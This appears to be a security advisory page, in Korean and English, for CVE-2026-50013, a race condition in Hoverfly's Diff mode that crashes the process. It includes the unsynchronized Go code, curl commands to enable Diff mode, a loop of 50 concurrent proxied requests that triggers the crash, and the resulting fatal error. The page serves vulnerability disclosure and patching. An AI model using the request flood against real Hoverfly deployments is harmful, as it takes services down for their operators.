Kestrel
대시보드로 돌아가기
CVE-2026-50013HIGH· 7.5GHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 14.

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary:

When Hoverfly is running in Diff mode, the AddDiff() function writes to the shared responsesDiff map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a fatal error: concurrent map read and map write, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.

Details:

1. Unsynchronized map access in AddDiff() (core/hoverfly_service.go:417-421):

text
1func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
2 if len(diffReport.DiffEntries) > 0 {
3 diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ
4 hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
5 }
6}

2. This function is called from Diff mode processing, which runs concurrently per request (core/modes/diff_mode.go):

Each incoming proxy request is handled in its own goroutine by Go's net/http server. In Diff mode, each request calls AddDiff() after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.

3. Go's runtime detects concurrent map access and terminates the process:

Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls fatal() which is unrecoverable, it cannot be caught by recover().

4. No mutex protection exists on responsesDiff:

The field is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no associated sync.RWMutex. Compare with hf.state which properly uses sync.RWMutex for its map access.

Environment:

  • Hoverfly version: v1.12.7
  • Operating System: macOS Darwin 25.4.0
  • Go version: 1.26.2
  • Configuration: Hoverfly in Diff mode (PUT /api/v2/hoverfly/mode {"mode":"diff"})

POC:

Step 1: Start Hoverfly and set Diff mode

bash
1./hoverfly &
2sleep 2
3
4# Set diff mode
5curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
6 -H "Content-Type: application/json" \
7 -d '{"mode": "diff"}'
8
9# Load a simulation for diff comparison
10curl -X PUT http://localhost:8888/api/v2/simulation \
11 -H "Content-Type: application/json" \
12 -d '{
13 "data": {
14 "pairs": [{
15 "request": {"path": [{"matcher": "glob", "value": "*"}]},
16 "response": {"status": 200, "body": "expected"}
17 }],
18 "globalActions": {"delays": [], "delaysLogNormal": []}
19 },
20 "meta": {"schemaVersion": "v5.2"}
21 }'

Step 2: Send concurrent requests to trigger the race

bash
1# Send 50 concurrent requests, race condition triggers within seconds
2for i in $(seq 1 50); do
3 curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
4done
5wait

Step 3: Observe the crash

bash
1# Check if process is still running
2pgrep -f hoverfly

crash output on Hoverfly v1.12.7:

text
1fatal error: concurrent map read and map write
2
3goroutine 892 [running]:
4github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
5 /core/hoverfly_service.go:419
6github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)

The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.

Impact:

  • Full denial of service: The process terminates immediately and cannot be recovered without a restart
  • Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
  • No admin API access required: Only proxy port access is needed to trigger the crash
  • Unrecoverable: fatal error in Go cannot be caught by recover() — the process is unconditionally killed
  • Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.